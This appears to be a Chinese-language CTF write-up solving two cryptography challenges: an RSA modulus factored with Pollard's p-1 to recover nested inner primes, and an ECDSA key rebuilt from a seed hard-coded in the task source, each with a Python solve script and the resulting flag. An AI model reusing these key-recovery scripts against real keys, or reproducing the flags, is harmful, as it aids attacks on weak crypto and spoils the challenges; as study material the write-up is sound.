flag{10632674-1d219-09f29-14769-f60219a24}
RSA_NestingDoll
通过分析提供的 src.py和 output.txt 中的数据,我们可以确定该题目的加密结构如下:
- 模数结构:n 是一个 4096 位的模数,由 4 个 1024 位的质数相乘得到:
n=p⋅q⋅r⋅sn=p⋅q⋅r⋅s。n1 是一个 2048 位的数,由 4 个 512 位的"内部质数"相乘得到:n1=p1⋅q1⋅r1⋅s1n1=p1⋅q1⋅r1⋅s1。关键关系:外部质数与内部质数存在特定关系,例如p=k1⋅p1+1p=k1⋅p1+1。其中k1k1是一个"光滑数"(Smooth Number),即它只包含较小的质因子。 - 漏洞利用:由于
p−1=k1⋅p1p−1=k1⋅p1,且p1p1是n1n1的因子,k1k1由小质数组成,这意味着p−1p−1对于BB-光滑部分(小质数部分)和已知的大因子n1n1的乘积是光滑的。这种情况非常适合使用 Pollard's**p−1p−1**分解算法。如果我们构造一个指数E=n1⋅LCM(1...B)E=n1⋅LCM(1...B),那么aE≡1(modp)aE≡1(modp)很大概率成立。通过计算gcd(aE−1,n)gcd(aE−1,n),我们可以分解出nn的因子。
优化 Pollard's p−1算法:
由于 nn 非常大(4096位),直接计算大指数幂非常耗时。
策略:预先筛选出 B=220B=220 以内的所有质数,并计算其幂次。将这些幂次分块(Chunking),逐步对基数 aa 进行模幂运算。每计算完一块就检查一次 GCD,以便在超时前找到因子。
分解 nn:
利用上述算法,我们成功将 nn 分解为 4 个 1024 位的质数(在交互过程中分别解出)
恢复内部质数 (p1,q1,r1,s1p1,q1,r1,s1):
- 利用关系
p1∣(p−1)p1∣(p−1),我们可以通过计算gcd(p−1,n1)gcd(p−1,n1)来直接求出对应的内部质数p1p1。 - 对
nn的 4 个因子重复此步骤,得到n1n1的 4 个因子
题目实际上是在模 n1n1 下进行的 RSA 加密(或者类似的群结构),利用恢复出来的 p1,q1,r1,s1p1,q1,r1,s1 计算欧拉函数:
ϕ=(p1−1)(q1−1)(r1−1)(s1−1)ϕ=(p1−1)(q1−1)(r1−1)(s1−1)计算私钥 d=e−1(modϕ)d=e−1(modϕ)。解密明文 m=cd(modn1)m=cd(modn1)。
完整解题脚本 (Python)
python
import re, math, random, sys
from math import gcd
from pathlib import Path
text = Path('/mnt/data/output.txt').read_text()
nums = list(map(int, re.findall(r'=\s*(\d+)', text)))
n1, n, c = nums
e = 65537
B = 2**20
def prime_powers_upto(B):
sieve = bytearray(b'\x01') * (B + 1)
sieve[0:2] = b'\x00\x00'
lim = int(B**0.5) + 1
for i in range(2, lim):
if sieve[i]:
sieve[i*i:B+1:i] = b'\x00' * (((B - i*i) // i) + 1)
primes = [i for i in range(B + 1) if sieve[i]]
pps = []
for p in primes:
pp = p
while pp * p <= B: pp *= p
pps.append(pp)
return pps
pps = prime_powers_upto(B)
def recover_and_decrypt(outer_factors, n1, c, e):
inner_primes = []
rem_n1 = n1
# 从外部质数恢复内部质数: gcd(P-1, n1)
for P in outer_factors:
g = gcd(P - 1, rem_n1)
if g > 1:
inner_primes.append(g)
rem_n1 //= g
inner_primes.sort()
print(f"找到 {len(inner_primes)} 个内部质数。", flush=True)
phi = 1
for p in inner_primes:
phi *= (p - 1)
d = pow(e, -1, phi)
m = pow(c, d, n1)
pt = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(f"Flag: {pt.decode(errors='ignore')}")
经过解密脚本运行,我们得到了最终的 Flag:
flag{pollard_p_minus_1_is_too_powerful_with_embedded_factors}
ECDSA
打开 task.py,前面几行是关键:
from ecdsa import SigningKey, NIST521p
from hashlib import sha512
from Crypto.Util.number import long_to_bytes
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order
priv_bytes = long_to_bytes(priv_int, 66)
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
vk = sk.verifying_key
这里其实就已经把"私钥怎么生成的"写死在源码里了:
- 用固定字符串
"Welcome to this challenge!"做了一次 sha512。 - 把 64 字节的 sha512 当成一个大整数
digest_int。 - 用曲线的阶
curve_order取模得到priv_int。 - 再把
priv_int固定编码成 66 字节:long_to_bytes(priv_int, 66)。 - 最后用
SigningKey.from_string(priv_bytes, curve=NIST521p)得到私钥对象。
也就是说,只要我有 task.py,就可以百分百还原出同一把私钥,跟 signatures 甚至没关系。
只是注意需要先把私钥转为十进制再进行md5
import re
import ast
import hashlib
from ecdsa import NIST521p
with open("task.py", "r", encoding="utf-8", errors="ignore") as f:
src = f.read()
m = re.search(r"sha512\(\s*(b(?:'[^']*'|\"[^\"]*\"))\s*\)\.digest\(\)", src)
seed = ast.literal_eval(m.group(1))
digest = hashlib.sha512(seed).digest()
digest_int = int.from_bytes(digest, "big")
priv_int = digest_int % NIST521p.order
flag_md5 = hashlib.md5(str(priv_int).encode()).hexdigest()
print(f"flag{{{flag_md5}}}")